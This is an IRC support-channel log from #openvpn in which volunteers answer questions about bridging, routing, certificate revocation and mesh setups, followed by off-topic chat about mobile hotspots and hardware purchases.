06:04 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
06:04 < dude123> !welcome
06:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:04 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:06 < dude123> question - does openvpn "hide" the user's ip address while on the internet?
06:07 < plaisthos> same as other vpn
06:07 <+pekster> You probably want to see the !redirect output from the bot. You can adjust the default gateway for traffic you don't have a more specific routing entry for, although that's only used while the VPN is connected
06:08 < dude123> !redirect
06:08 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
06:08 <@vpnHelper> http://ircpimps.org/redirect.png
06:13 -!- valparaiso [~valparais@ARennes-257-1-48-169.w81-53.abo.wanadoo.fr] has left #openvpn []
06:13 -!- dude123 [~jonathan@cpe-72-191-141-216.stx.res.rr.com] has quit [Quit: Leaving]
06:21 -!- p3rror [~mezgani@2001:0:53aa:64c:281c:646c:d605:16f1] has quit [Remote host closed the connection]
06:23 -!- p3rror [~mezgani@2001:0:53aa:64c:281c:646c:d605:16f1] has joined #openvpn
06:24 -!- ihptru [~ihptru@164.138.25.4] has quit [Ping timeout: 276 seconds]
06:37 -!- mattock is now known as mattock_afk
06:37 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
06:50 -!- p3rror [~mezgani@2001:0:53aa:64c:281c:646c:d605:16f1] has quit [Ping timeout: 260 seconds]
06:58 < Halagan> Hi guys, can you please help me with this error ? .. http://pastebin.com/QsLpA6zy
07:00 < dioz> pekster
07:11 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has joined #openvpn
07:13 <+pekster> dioz: sup?
07:19 -!- mattock_afk is now known as mattock
07:21 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has quit [Ping timeout: 260 seconds]
07:23 <+pekster> Halagan: I really don't have much more info for you as I don't work with PKCS11 myself very often. As I mentioned a number of days when you last asked, your pkcs11 provider appears to need features not present in a standard openssl build that OpenVPN provides
07:24 <+pekster> You either need to figure out what change needs to happen and build it yourself, or rebuild OpenVPN against the modified OpenSSL library
07:25 < dioz> i know server-bridge by itself is for dhcp
07:25 <+pekster> I'm not the guy to ask to debug software I haven't used and don't have the source to. The error message you get is very generic, and the fact that openvpn crashes with a different dll is not a surprise; you can't just swap out compiled shared-object files like that; you need to rebuild them from *source* for this to work
07:29 < dioz> if i'm making a tap0 bridge server-bridge nogw
07:29 < dioz> `client' is windows 7
07:29 < dioz> how do i get the client to get my bridge side WAN address
07:29 < dioz> if that makes sense
07:29 < dioz> ip-forwarding is enabled
07:30 < dioz> the WAN side address is static (no dhcp)
07:30 <+pekster> huh?
07:30 -!- folivora_ is now known as folivora
07:31 <+pekster> You want your VPN clien to get, from dhcp, an address assigned to your upstream device? You can't do that...
07:31 < dioz> yeah, vps in another AS has multiple ip addresses
07:32 < dioz> i want those ip addresses routed to machines i have in a lan
07:32 < dioz> `routed' for lack of a better term
07:32 -!- blackmagic [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
07:33 < dioz> or am i high on crack or something?
07:33 <+pekster> Then bridge a tap device on the system that is assigned those addresses
07:33 < dioz> yeah i have brctl addif br0 eth0 tap0
07:34 < dioz> tap0 is made by the openvpn.config (right now i have to manually brctl addif br0 eth0 tap0 after openvpn runs for them to `show' as bridged
07:35 <+pekster> Okay. Nothing wrong with that, but if you don't use DHCP you'll need to statically set the IP on your clients, as well as your gateway if you plan to route through that interface
07:37 <+pekster> The client won't "get" your br0 address, but the device will be on the same L2 network
07:37 <+pekster> ie: your client still needs its *own* address to do anything useful
07:38 < dioz> so...  idkf about windows, but i seen on install that it added a TAP-Win32 device to my "Control Panel > Netowkring and Sharing > Networking connections"
07:38 < dioz> should i see that "connect"?
07:38 <+pekster> Yup, and it needs an IP to do anything interesting
07:39 <+pekster> You can manage that by DHCP, but if you don't have it you need to assign it an IP, perhaps with an 'ifconfig' locally in the client-side, or 'ifconfig-push' server-side
07:39 <+pekster> Same for a gateway, and DNS if you need it
07:39 <+pekster> Think of tap like an ethernet cable; you can't just plug a cable in, but you need to somehow give your device an IP so it can use the connection
07:40 < dioz> one last thing... does "Local Area Connection 2" sound like a reasonable `dev-node' for a client side windows 7 config?
07:40 <+pekster> Yup
07:40 -!- ade_b [~Ade@95.209.55.220.bredband.tre.se] has joined #openvpn
07:40 -!- ade_b [~Ade@95.209.55.220.bredband.tre.se] has quit [Changing host]
07:40 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:40 <+pekster> You can also rename it to "tap0" or "vpn0" or whatever you like
07:40 <+pekster> Windows has stupid device names ;)
07:41 < dioz> alright thanks
07:47 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
07:54 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
07:58 -!- dazo_afk is now known as dazo
08:03 <@ecrist> good morning, kids
08:11 < igor__> can i ask a tun/tap related question?
08:11 <@ecrist> !ask
08:11 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
08:12 < igor__> do i have to use tap for ifenslave
08:16 < plaisthos> like with any other ethernet device
08:17 < igor__> ok i am beginner
08:17 <@ecrist> what is ifenslave?
08:17 < igor__> bonding
08:18 < igor__> i want use bonding and openvpn
08:19 <+pekster> igor__: You need tap then; the ifenslave manpage is very specific that it works on the Ethernet level, which is what tap is. tun is at the Network (L3) layer
08:20 < igor__> so i have to use ethernet-bridge
08:43 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
08:59 -!- brute11k1 [~brute11k@89.249.235.236] has joined #openvpn
09:00 -!- zeeshoem [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
09:00 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
09:02 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
09:03 -!- nand` [~nand@static.102.126.46.78.clients.your-server.de] has joined #openvpn
09:03 -!- igor___ [~igor@pd907e599.dip0.t-ipconnect.de] has joined #openvpn
09:03 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Disconnected by services]
09:03 -!- Fiouz_ [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
09:06 -!- Thermi_ [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
09:06 -!- [fred]_ [fred@konfuzi.us] has joined #openvpn
09:06 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
09:07 -!- Netsplit *.net <-> *.split quits: igor__, pnielsen, Guest70136, nutron, mnathani, [fred], Thermi, swiftkey, `nand`, kirin`,  (+4 more, use /NETSPLIT to show all of them)
09:08 -!- pnielsen_ is now known as pnielsen
09:08 -!- Netsplit over, joins: BtbN
09:10 -!- defswork [~andy@141.0.50.105] has joined #openvpn
09:10 -!- swiftkey [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has joined #openvpn
09:11 -!- swiftkey [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has quit [Changing host]
09:11 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
09:11 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
09:11 -!- Netsplit *.net <-> *.split quits: swiftkey
09:11 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
09:12 -!- Netsplit over, joins: swiftkey
09:15 -!- kirin` [telex@gateway/shell/anapnea.net/x-ilsmwstpkjvdgbnu] has joined #openvpn
09:20 -!- kirin` [telex@gateway/shell/anapnea.net/x-ilsmwstpkjvdgbnu] has quit [Ping timeout: 240 seconds]
09:22 -!- NChief [tomme@unaffiliated/nchief] has quit [Quit: leaving]
09:22 -!- kirin` [telex@gateway/shell/anapnea.net/x-elbljsabsqbscuxz] has joined #openvpn
09:22 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
09:24 -!- NChief [tomme@unaffiliated/nchief] has quit [Client Quit]
09:25 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
09:26 -!- mndo [~mndo@bl15-215-4.dsl.telepac.pt] has joined #openvpn
09:28 -!- kirin` [telex@gateway/shell/anapnea.net/x-elbljsabsqbscuxz] has quit [Ping timeout: 252 seconds]
09:28 < mndo> hi
09:28 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
09:29 -!- kirin` [telex@gateway/shell/anapnea.net/x-eflzkseusdanowsk] has joined #openvpn
09:29 < mndo> is it possible to revoke several clients using  crl-verify crl.pem ?
09:31 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
09:34 -!- kirin` [telex@gateway/shell/anapnea.net/x-eflzkseusdanowsk] has quit [Ping timeout: 248 seconds]
09:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-jtuxtqhqsbqanuqk] has joined #openvpn
09:40 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
09:40 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
09:40 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
09:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-jtuxtqhqsbqanuqk] has quit [Ping timeout: 255 seconds]
09:42 -!- kirin` [telex@gateway/shell/anapnea.net/x-vloxwmtujngywbmh] has joined #openvpn
09:44 < mndo> hi, is it possible to revoke several clients?
09:45 -!- igor___ [~igor@pd907e599.dip0.t-ipconnect.de] has quit [Quit: Lost terminal]
09:47 -!- kirin` [telex@gateway/shell/anapnea.net/x-vloxwmtujngywbmh] has quit [Ping timeout: 264 seconds]
09:49 -!- kirin` [telex@gateway/shell/anapnea.net/x-pkcemxmoxnqxpyji] has joined #openvpn
09:49 < gladiatr> if you are using certificates and your server has access to your CA crl...
09:51 <+pekster> mndo: Certificate revocation can be performed the traditional way by revoking from your PKI (easy-rsa has a "revoke-full" script, or use another method if you manage your own PKI.) Optionally, you can "temporarily" disable a user based on CN by using a ccd file with the "disable" directive in that file
09:52 <+pekster> The ccd method, or an equivelent via a --connect script should be a temporary solution only where the certificate may later be re-authorized or similar. If the key material has been compromised, you should properly revoke the certificate and update the CRL
09:53 < mndo> pekster, the file crl.pem used on crl-verify is updated with all the revoked clients everytime it is generated by revoke-full?
09:54 -!- kirin` [telex@gateway/shell/anapnea.net/x-pkcemxmoxnqxpyji] has quit [Ping timeout: 248 seconds]
09:54 <+pekster> mndo: Yup. So copy that crl.pem file to your server and it'll pick up on the change (provided you're already using the --verify-crl option. If not, you'd need to restart the instance to add that directive)
09:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-inomorqwzrpnrdqv] has joined #openvpn
09:56 <+pekster> Technically you can do silly things like manually hack your index.txt file to "un-revoke" a certificate, but you really shoudln't do that as revocation is not supposed to be an operation you can undo
09:56 < mndo> pekster, oh, good my doubt was related with the crl.pem contents..
09:56 <+pekster> You can dump the crl manually if you want to see all the serial numbers you've revoked
09:57 <+pekster> The CRL is basically just a list of all revoked certs by serial, CA association, and the date/time of each revocation along with a signature from the CA
09:57 < gladiatr> you can cross-reference the serial of the target cert between the CA's index file and the contents of the crl
09:57 < gladiatr> oh.  yeah.  what pekster said :)
09:58 -!- PlasmaHH [~plasmahh@213.61.9.75] has joined #openvpn
09:59 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:00 < mndo> pekster, great, thank you for you help
10:00 < PlasmaHH> hi, I just set up some openvpn, and while both computers can ping themselves just fine on their tun0 interface, when I try to ping a host from the clients subnet, using ping on the server, I can see how over the vpn some encrypted data is sent to the client, but nothing arrives on the tun0 there. where would I start debugging this?
10:00 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
10:01 -!- kirin` [telex@gateway/shell/anapnea.net/x-inomorqwzrpnrdqv] has quit [Ping timeout: 246 seconds]
10:03 -!- kirin` [telex@gateway/shell/anapnea.net/x-ejkvabzbfigdmmch] has joined #openvpn
10:03 <+pekster> !clientlan
10:03 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
10:03 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
10:04 -!- Eduard_Munteanu [~Eduard_Mu@188.25.7.99] has joined #openvpn
10:05 < Eduard_Munteanu> Hi. Is there any support for mesh/p2p VPNs in openvpn? Or some patch / some other project I should look at?
10:06 <+pekster> Eduard_Munteanu: No mesh support at present (where you have a many to many configuration.) You can do PtP-style VPNs on OSs that support it though
10:07 <+pekster> There was some project that basically automated the creation of a bunch of PtP tunnels to emulate a mesh design, although I'm forgetting what that was called now
10:07 < Eduard_Munteanu> pekster: well, that's a lot of tunnels for 25-30 machines :)
10:08 <+pekster> Sure, although if they're mostly idle the resource reqs would be somewhat low (just ugly as far as 30 tun devices went...)
10:08 <+pekster> !mesh
10:08 <@vpnHelper> "mesh" is (#1) openvpn does not do mesh networking or (#2) see !rip or (#3) check out http://github.com/darkpixel/openmesher/ for auto-creating openvpn meshes
10:08 < mndo> pekster, maybe peervpn?
10:08 -!- kirin` [telex@gateway/shell/anapnea.net/x-ejkvabzbfigdmmch] has quit [Ping timeout: 276 seconds]
10:08 < Eduard_Munteanu> I was just looking at peervpn, though it seems it's shared-key.
10:08 <+pekster> It would be cool to have a 'mesh' topology where an extra field is added to encrypted data to handle >1 peer
10:10 -!- kirin` [telex@gateway/shell/anapnea.net/x-hannadrtnndmmtdm] has joined #openvpn
10:11 < Eduard_Munteanu> Grr, openmesher also seems shared key-only.
10:11 < Eduard_Munteanu> !rip
10:11 <@vpnHelper> "rip" is http://www.secure-computing.net/wiki/index.php/OpenVPN/RIPRouting for a writeup on using RIP in openvpn
10:13 <+pekster> Eduard_Munteanu: I'm somewhat curious what your usecase is where you need a true mesh of ~30 nodes; at 870 "direct" links, that's quite the setup
10:14 <+pekster> I'm not downplaying the usefulness of a mesh for such setups, just interested to know what types of projects folks are considering using them for
10:15 < Eduard_Munteanu> pekster: I'm using bittorrent to distribute files from a central server (unreliable bandwidth) to 30 machines, and I figured delegating encryption and security to openvpn might be a good idea.
10:15 -!- kirin` [telex@gateway/shell/anapnea.net/x-hannadrtnndmmtdm] has quit [Ping timeout: 252 seconds]
10:16 < Eduard_Munteanu> Especially since I already run a PKI for other purposes.
10:16 <+pekster> Interesting, so you'd like the gaurenteed authencitity in such a setup, where presumably access to the tracker and network gives proof of identity
10:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-mudnmykgtjucinir] has joined #openvpn
10:17 <+pekster> I wonder if using gpg at each end and letting bittorrent do its thing would be a simpler solution in terms of setup and maintenance if you really require encryption and/or proof-of-origin
10:19 < Eduard_Munteanu> pekster: well, currently I am transferring the torrent files through rsync/ssh... I figured this might simplify security, if only openvpn supported it out of the box.
10:20 < Eduard_Munteanu> I could simply run a rsync server on that (TAP ?) interface, and pretend everything is alright.
10:20 <+pekster> No need for tap unless you're dealing with an Ethernet-level protocol (ARP, IPX, mutlicast, etc)
10:20 < Eduard_Munteanu> I wonder what it takes to implement it, though, I should have a look.
10:21 <+pekster> rsync is still one-to-one in terms of connectivity
10:21 <+pekster> Bittorrent is helpful in a distributed sense, and you're of course free to prepare a .torrent that shares a signed or encrypted gpg file between peers, then each client of your central server just decrypts it after download is complete
10:22 -!- kirin` [telex@gateway/shell/anapnea.net/x-mudnmykgtjucinir] has quit [Read error: Connection reset by peer]
10:22 -!- master_of_master [~master_of@p57B55DD0.dip.t-dialin.net] has quit [Ping timeout: 272 seconds]
10:23 < Eduard_Munteanu> Hm, yes, I guess that works too. I've also looked at some builtin encryption in rtorrent, but dunno how the key exchange actually works :/
10:23 <+pekster> If you just need proof that the file hasn't been tampered with between the central server and your nodes, a detached signature is a far cleaner option so you don't even need to decrypt anything
10:23 < Eduard_Munteanu> Oh, definietly. In fact, I guess the torrent files are ok for that purpose no?
10:23 -!- master_of_master [~master_of@p57B55F39.dip.t-dialin.net] has joined #openvpn
10:24  * Eduard_Munteanu looks what hashes they use
10:24 <+pekster> Well, what is it you want at a high level? Do you just need to verify the file as the same on download as it was from the source? If so, gpg detached signatures are definitly what you want (and what Linux distros using torrents today already use)
10:25 < Eduard_Munteanu> Hm, SHA-1 according to wikipedia, looks reasonably fine. The files are just movies, btw.
10:25 <+pekster> eg: look at this link, where the chekcums are signed: http://cdimage.ubuntu.com/xubuntu/releases/12.10/release/
10:25 <@vpnHelper> Title: Xubuntu 12.10 (Quantal Quetzal) (at cdimage.ubuntu.com)
10:25 -!- kirin` [telex@gateway/shell/anapnea.net/x-wbhuhodavdvolbuq] has joined #openvpn
10:25 <+pekster> So you download the content in the "clear" (possibly with bittorrent's rc4 "encryption" if you call it that between peers) and then checksum it, then verify that the checksums file was authentic by verifying the gpg signature
10:26 <+pekster> If your checksums match and the checksum file was correctly signed with a signature you trust, you know it hasn't been tampered with since it was hashed/signed at the server's end
10:27 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
10:28 < Eduard_Munteanu> pekster: yeah, I suppose that should do. I mostly wanted encryption and all that because it's cheap these days :)
10:29 <+pekster> No real need for that unless you can't have your content (ie: the chunks going over the wire) in the clear. The solution to that without a true mesh setup would be to use gpg to encrypt the files before you seed them in the p2p swarm
10:29 <+pekster> signing and encryption are separate operations in gpg
10:29 <+pekster> You can use one, the other, or both
10:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-wbhuhodavdvolbuq] has quit [Ping timeout: 244 seconds]
10:31 <+pekster> A mesh is an interesting solution for your needs, I just think it's overly complicated for what you ultimately want
10:31 -!- kirin` [telex@gateway/shell/anapnea.net/x-uvulotxunalwtwsa] has joined #openvpn
10:32 <+pekster> And it still won't help you if one of your nodes is somehow compromised into sending bad data to other peers (that probably wouldn't pass the .torrent files own hashing scheme, but it's not as cryptographically secure as gpg signatures are)
10:32 < Eduard_Munteanu> Might take a shot at implementing it, it simplifies things greatly if I can just rely on openvpn instead of adhoc solutions (however straightforward they may be).
10:32 <+pekster> So it's both more complex, and less useful to you in terms of verifying file origin
10:33 < Eduard_Munteanu> BTW, does openvpn distribute the server certificate to the clients?
10:34 < Eduard_Munteanu> AFAICT, you'd only need the CA cert on the client to verify it.
10:34 <+pekster> Certs from each end are exchanged during the initial TLS handshake
10:34 <+pekster> Right, you don't ever need your peer's certificate available locally as it comes over the wire from the peer itself
10:35 <+pekster> Just the ca.crt, and your own cn.crt and cn.key files (you can put them in a .p12 if you prefer, or just name all 3 in your config file)
10:35 <+pekster> There are nice howto docs on setting up a server to handle multiple clients:
10:35 <+pekster> !howto
10:35 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
10:36 < Eduard_Munteanu> Yeah, I already have such a server set up.
10:37 <+pekster> FYI, gpg sigs can use any of the hashes you see in 'gpg --version'
10:37 <+pekster> Mine supports up to SHA512 (no sha3 yet, but that's new enough not to be in most mainstream projects)
10:38 < Eduard_Munteanu> Yeah, I'm a bit uneasy about SHA1 too, most PKI stuff still uses that. :(
10:38 <+pekster> Only if you tell it
10:38 <+pekster> openssl defaults to sha1, but all my PKI certs (ca and all peers) are signged using at least SHA256
10:38 <+pekster> easy-rsa doesn't default to that, but it's easy to adjust the openssl.cnf file to do it (see default_md options, and you may need to add that yourself in the [req] section
10:41 < Eduard_Munteanu> AFAICT there's only one big piece missing... some sort of peer discovery. I guess the rest is pretty much already handled in openvpn.
10:42 < kjs> I have an issue, other people VPN'ing can access a specific subnet but I can't - I assume this a route problem from my client?
10:42 <+pekster> kjs: Other people using the same VPN? If so, then it's obviously on your side. Are the routes getting added, and have you verified you don't have overlapping networks that cause the access issue?
10:44 < kjs> I can't  see the route I attempted to add it by hand. But still no joy
10:44 < Eduard_Munteanu> Maybe the server is denying you access / not forwarding traffic?
10:44 < Eduard_Munteanu> Do you admin the server as well?
10:45 <+pekster> kjs: It's possible the server treats specific users differently via ccd or --client-connect scripting handling routes/firewalling uniquely per client; do you know if that's the case? Check your logs at 'verb 5' to see exactly what the client is getting pushed and check for errors. Post logs if you need help parsing them, but it should be pretty clear from the logs re: pushed options/routes
10:46 < kjs> pekster: fixed it, was route issue i readded it manually.. .and it works now
10:46 < kjs> thanks :D
10:46 < Eduard_Munteanu> Mm, you shouldn't have to, though.
10:47 <+pekster> Not if it's being pushed correctly and didn't give an error when adding it on VPN init
10:47 <+pekster> Presumably it's not a policy problem or the admin should have firewalled it properly :P
10:47 <+pekster> (and yes, I've set up VPN accounts for contractors before where I'm quite careful to limit them to what their in-house management says they should have access too ;)
10:48 < kjs> it's not in the server config, I suspect because it's the management subnet
10:48 < kjs> and they don't want other people accessing it (directly)
10:48 <+pekster> Ah, sure. We went through a phase where our management subnet (outside of our /16 supernet for all other corp stuff) wasn't pushed, and we eventually pushed the smaller network to VPN clients. Or maybe just our IT team, I forget
10:49 <+pekster> Keep in mind not pushing a route doesn't keep people off it who know how to add routes themselves ;)
10:49 <+pekster> That's the job of a firewall
10:49 <+pekster> -A FORWARD -i tun+ -j ACCEPT is a popular netfilter rule, but often bad in a corp environment :P
10:50 -!- brute11k1 [~brute11k@89.249.235.236] has quit [Ping timeout: 264 seconds]
10:50 -!- brute11k [~brute11k@89.249.235.236] has joined #openvpn
10:51 -!- p47 [~p47@189.134.208.202] has joined #openvpn
10:51 < PlasmaHH> pekster: thanks, that diagram helped somewhat, although "correctly configure the iroute" should have somehow mentioned that the filename needs to be the client name as shown in e.g. the ifconfig-pool-persist file, and not as in the CN from the certificate (which is how I read http://openvpn.net/index.php/open-source/documentation/howto.html)
10:51 <@vpnHelper> Title: HOWTO (at openvpn.net)
10:51 <+pekster> PlasmaHH: It does need to match the CN from the X509 cert
10:52 <+pekster> (unless you're using --username-as-cn, but then you should know what that's doing anyway)
10:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
10:53 -!- mode/#openvpn [+o krzee] by ChanServ
10:53 <+pekster> Mind you that DN and CN are unique and shouldn't be confused; OpenVPN uses the CN field of the DN of the cert to identify unique users
10:55 < PlasmaHH> well, it currently has a different filenames. anyways, I need to get home and test it from other clients there
10:55 -!- PlasmaHH [~plasmahh@213.61.9.75] has quit []
10:57 <+pekster> Interesting; I wonder if (s)he was using weird chars OpenVPN internally remapped
10:58 <@krzee> g'day pekster
10:58 <+pekster> Morning
10:58 <@krzee> in case you were wondering, verizon's commercials were telling the truth
10:58 <@krzee> their network is really that much better
10:59 <+pekster> LTE?
10:59 <@krzee> yep
10:59 <@krzee> ive been driving around california testing 4 different mobile hotspots with my darknet voip network
10:59 <@krzee> the verizon one is much better than the others
10:59 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has left #openvpn ["Leaving"]
10:59 <+hazardous> krzee that's so weird
10:59 <+hazardous> how does att fare
10:59 <@krzee> it works in random places in the middle of nowhere
10:59 <+hazardous> heh
11:00 <@krzee> t-mobile and att work in major areas
11:00 <+hazardous> my tmobile hotspot
11:00 <+hazardous> worked only in sf proper
11:00 <@krzee> virgin works well when it works
11:00 <+hazardous> it dropped off literally as soon as it exited
11:00 <+hazardous> and started working in la
11:00 <@krzee> exactly
11:00 <+hazardous> also
11:00 <@krzee> but verizon worked along the entire 5
11:00 <+hazardous> tmobile does DPI
11:00 <+hazardous> and forbids tethering while roaming
11:00 <+hazardous> evne at reduced speeds
11:00 <@krzee> including much of the grapevine
11:00 <+hazardous> so even if it says there's service
11:00 <+hazardous> you still can't tether
11:00 <+hazardous> or use a hotspot properly
11:00 <@krzee> no no, these are wifi hotspots
11:00 <+hazardous> oh
11:00 <@krzee> they always tether
11:00 <+hazardous> mine was an actual one
11:01 <+hazardous> not a phone
11:01 <@krzee> oh ok
11:01 <+hazardous> iirc virgin = verizon?
11:01 <@krzee> nope
11:01 <@krzee> sprint iirc
11:01 <+hazardous> ah
11:01 <+pekster> I've used my phone's 3G (I have 4G w/ sprint, but rarely use it due to battery suckage) and I've plugged it in via NDIS/USB to an OpenWRT router that runs OpenVPN
11:01 <+hazardous> i think they use the same devices or something
11:01 -!- raidz_away is now known as raidz
11:01 <+hazardous> because the aut ospawned wifi ssid is similar
11:01 <+hazardous> and weird
11:01 <+pekster> One of these days whwen I'm the passengar on a long ride I should try to VPN in back home and do work for the trip :P
11:01 <@krzee> verizon is the only one that worked well on the road from vegas to san diego, and from la to the bay
11:02 <+hazardous> on sprint i had service at la
11:02 <+hazardous> d
11:02 <+hazardous> dropped off until SLO
11:02 <+hazardous> then a mile or two then dropped off until sf
11:02 <+pekster> I used my phone for streaming audio via 3G, and it work nearly everywhere except the CO moutains (major highways mostly)
11:03 <+hazardous> hahaha CO mountains
11:03 <+hazardous> i went through there twice last month/this month
11:03 <@krzee> im rolling around with a AC splitter, a power inverter and 2 micro-usb car adapters
11:03 <+pekster> I even got Netflix streaming in Eloy AZ (not far off thte interstate, but it is literally the middle of nowhere in the desert)
11:03 <@krzee> then my inverter has a usb plug for micro-usb
11:03 <@krzee> then i plugin my laptop and more micro-usb cables
11:03 <+pekster> Netflix on a phone is surprisingly fun to watch, especially when it's your only entertainment
11:03 <+hazardous> pekster: i had literally zero service in the co mountains as sprint
11:03 <@krzee> 4 hotspots, 2 cellphones, and a secure mobile device, all on micro-usb
11:03 <@krzee> lol
11:04 <+hazardous> is it weird that i pick up multiple hotspot service usually prepaid when i travel
11:04 <+hazardous> because i really need internet on the trip
11:04 <+pekster> krzee: I used an inverter a couple years ago to literally build a Gentoo OS from scratch in a car doing 70 mph from MN to IA. I had a headless PC, RS232 cable, my laptop, and an ext-hdd with the full gentoo source mirror
11:04 <+pekster> That PC was the router for the LAN-gaming event ;)
11:04 <@krzee> haha
11:04 <@krzee> nice
11:05 <+pekster> I finish the build and firewall just as we pull into the parking lot and plug it in. ~15 mins after we stopped I began serving the LAN full web connectivity
11:05 <+pekster> That was a fun drive
11:05 <+hazardous> i lost a can of soda today
11:05 <+pekster> I found one
11:05 <+hazardous> hah
11:05 <+pekster> Must be the world's way of keeping everything in balance
11:06 <+hazardous> pekster: it fell out of my bag
11:06 <+hazardous> and just rolled downhill
11:06 <+hazardous> for like three blocks
11:06 <+hazardous> didn't even bother chasing it
11:06 <+pekster> Hmm, not a Dr Pepper, was it?
11:06 <+hazardous> nah, red bull zero
11:06 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 276 seconds]
11:06 <+hazardous> it just rolled until it disappeared
11:06 <+hazardous> i need to start double bagging but they're 0,10
11:06 <@krzee> i had to fix a server in LA… hd died so i picked up a new one from best buy, $100 for 1tb, $80 for 320gig so i bought the 1tb, turned out my bios couldnt handle the 1tb
11:06 <@krzee> so i went back and got the 320gb lol
11:07 <+hazardous> ..hahahah what
11:07 <@krzee> had to get a new power supply as well
11:07 <@krzee> but then it turned out the shop had connections with the 1 supplier of the mobile devices i needed to buy wholesale, and gave me a great price
11:07 <+hazardous> the shop = best buy?
11:07 <@krzee> so the extra time it took ended up benefitting me, i would not have made the distribution deal otherwise
11:08 <@krzee> no, the guys who im colo'ing with
11:08 <@krzee> although i need to talk to best buy b2b as well, but dont expect a better price from them
11:08 <+hazardous> expect assfucking exclusivity contracts though
11:08 <@krzee> hells no
11:09 <+pekster> Do you get a clause that lets you stay with them exclusively iif they offer you lower prices? :P
11:09 <+hazardous> must order minimum x devices per calendar month
11:09 <+hazardous> orders must increase monthly
11:09 <+pekster> Lame
11:10 <+hazardous> probably offtopic but can anyone recommend me a place that does hosted mail properly
11:10 <+hazardous> just need 3 mailboxes and a catchall
11:11 <+hazardous> google apps not free anymore ;v;
11:12 <@krzee> screw exclusivity and rules with bestbuy
11:13 <@krzee> im using their distributor anyways with no rules
11:13 <@krzee> paying cost + 2% to my contact that has deals with them already
11:13 <@krzee> i could save the 2% but i like working with the guy and thats only like $4 / unit
11:14 <@krzee> and a layer of abstraction feels nice even when not needed at all, habit i guess lol
11:15 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:17 -!- Assid [~kvirc@unaffiliated/assid] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
11:30 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 244 seconds]
11:32 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
11:41 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
11:43 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has quit [Excess Flood]
11:43 -!- _br_ [~bjoern_fr@static.88-198-57-152.clients.your-server.de] has joined #openvpn
